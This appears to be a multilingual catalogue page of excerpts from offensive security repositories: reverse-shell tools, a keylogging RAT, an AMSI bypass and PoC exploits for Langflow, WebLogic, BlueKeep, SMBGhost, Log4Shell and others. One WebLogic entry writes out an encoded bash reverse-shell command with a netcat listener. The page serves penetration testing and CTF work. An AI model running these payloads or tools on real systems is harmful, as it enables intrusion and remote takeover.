watcher

Anti Reverse Shell Hello my name is themoon also known shalev, i created this project to help people who run servers with lower security. You can use this project to protect your computer from attackers who may try to reverse shell your computer Informations on this project You can view how this...

CVE-2026-33017-Langflop

CVE-2026-33017 Langflow（"Langflop"）未認証 RCE PoC Langflow の未認証 buildpublictmp コード実行脆弱性に対する PoC です。 悪意のあるコンポーネントを公開フローにアップロードし、ビルドをトリガーして、リバースシェルを取得します。 認可されたセキュリティテスト専用です。 自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。 要件 Python 3 requests（pip install requests） 使用方法 内蔵リスナーを起動して、エクスプロイトを一括実行します：...

TinkererShell

TinkererShell A simple reverse shell written in python 3.7 just for fun. Actually it supports Windows and Linux OS and integrates some basic features like keylogging and AES encrypted communications. Supported operating systems: Windows Linux OSX Functions and characteristics: Reverse connection...

LAZYPARIAH

LAZYPARIAH A low-dependency command-line tool for generating reverse shell payloads on the fly. Description LAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag CTF competitions to generate a range of...

CVE-2025-49844

CVE-2025-49844 Original uv POC: https://github.com/saneki/cve-2025-49844 PoC that provides reverse shell. Before Start pip3 install -r requirements.txt Help python3 CVE-2025-49844.py -h root@kitploit: usage: CVE-2025-49844.py -h -H HOST -P PORT -a PASSWORD -l HOST -p PORT CVE-2025-49844...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 리버스 셸 로컬 IP：172.16.38.1 Weblogic：172.16.38.174:7001 1、 로컬 실행 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 그런 다음 nc -lvv 7777 실행 （1） 여기서 ba...

bluekeep-metasploit-lab-project

Exploiting BlueKeep CVE-2019-0708 on Windows 7 Objective Gain remote access to an unpatched Windows 7 system via the BlueKeep RDP vulnerability using Metasploit. Lab Setup Attacker: Kali Linux Target: Windows 7 Unpatched, RDP Enabled Network: NAT / Host-Only Tools Used Metasploit Framework Kali...

FullBypass

FullBypass A tool which bypasses AMSI AntiMalware Scan Interface and PowerShell CLM Constrained Language Mode and gives you a FullLanguage PowerShell reverse shell. root@kitploit: P.S Please do not use in unethical hacking and follow all rules and regulations of laws Usage: First, Download the...

CVE-2020-0796-RCE-POC

CVE-2020-0796 Remote Code Execution POC c 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes Remote Code Execution POC for CVE-2020-0796 / "SMBGhost" Expected outcome: Reverse shell with system access. Intended only for educational and testing in corporate environments. ZecOps...

ToRat

A Cross Platform Remote Administration tool written in Go using Tor as its transport mechanism currently supporting Windows, Linux, MacOS clients. DISCLAIMER USE FOR EDUCATIONAL PURPOSES ONLY Wiki How to use ToRat Docker Image Preview Client Commands Server Commands Current Features Architecture...

cve-2023-30990

cve-2023-30990-rce IBM i DDM Unauthenticated RCE - Java Reverse Shell...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality. ⚠️ This tool is intended for security...

CVE-2017-7494

CVE-2017-7494 Remote root exploit for the SAMBA CVE-2017-7494 vulnerability. Details This exploit is divided in 2 parts: First, it compiles a payload called "implant.c" and generates a library libimplantx32.so or libimplantx64.so that changes to the root user, detaches from the parent process and...

CVE-2023-50564

CVE-2023-50564 How to use First setup a listener for the reverse shell. Terminal 1 root@kitploit: nc -nlvp Execute the script which will attempt to install a pluck module sending the reverse shell back to us. Terminal 2 root@kitploit: go run exploit.go -url -password -i -p...

CVE-2023-26035

CVE-2023-26035 の PoC ZoneMinder（バージョン 1.36.33 未満および 1.37.33 未満）で動作します 脆弱性 : リモートコード実行 RCE 使用方法 root@kitploit: └─➜ python3 poc.py -h usage: poc.py -h --target TARGET --cmd CMD poc.py: error: the following arguments are required: --target, --cmd Curl リバースシェルに飛び込む前に、まずこれを試してください。ヒットした場合、サービスは脆弱です。...

log4j-shell-poc

log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4j（Javaのログライブラリ）に新たな脆弱性が発見されました。log4jはElasticsearch、Minecraftなど非常に多くのアプリケーションで広く使用されています。 このリポジトリには、脆弱なサンプルアプリケーションとその概念実証（PoC）エクスプロイトが含まれています。 概念実証（PoC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r...

CVE-2019-12735

CVE-2019-12735 このCVEはneovim 0.3.6およびvim 8.1.1365以降で修正されました。 POC root@kitploit: vim demo1.txt リモートシェル 1. マルウェアテキストファイルを作成する: root@kitploit: gcc makedemo3.c -o makedemo3 ./makedemo3 2. 別のセッションでクライアントを構築する: root@kitploit: nc -vlp 9999 3. マルウェアファイルを開く: root@kitploit: vim demo3.txt...

jboss-autopwn

⚠️ 注記: このツールは現在アクティブにメンテナンスされていません。 JBoss Autopwn Script Christian G. Papathanasiou http://www.spiderlabs.com はじめに このJBossスクリプトは、対象のJBoss ASサーバーにJSPシェルを展開します。展開後、このスクリプトはアップロード機能とコマンド実行機能を使用して、インタラクティブなセッションを提供します。 機能は以下のとおりです: マルチプラットフォーム対応 - Windows、Linux、Macのターゲットでテスト済み...

Fenrir

Fenrir NCC Group Plc によりオープンソースとして公開 - http://www.nccgroup.com/ 開発: Dave Spencer, david dot spencer at nccgroup dot com http://www.github.com/nccgroup/Fenrir AGPL のもとで公開されています。詳細は LICENSE を参照してください。 Description Fenrir は、RDP 仮想チャネルを介してネットワークトラフィックをトンネリングできることを実証するために作成されましたが、まだ初期段階にあります。この PoC...

CVE-Vulnerability-Research-Exploit-Analysis

CVE-Vulnerability-Research-Exploit-Analysis A structured penetration testing project researching and executing real-world CVE exploits in a controlled sandbox environment. Targets included Windows 95 and Windows XP SP3 running across a multi-machine virtual network built with VirtualBox. Exploits...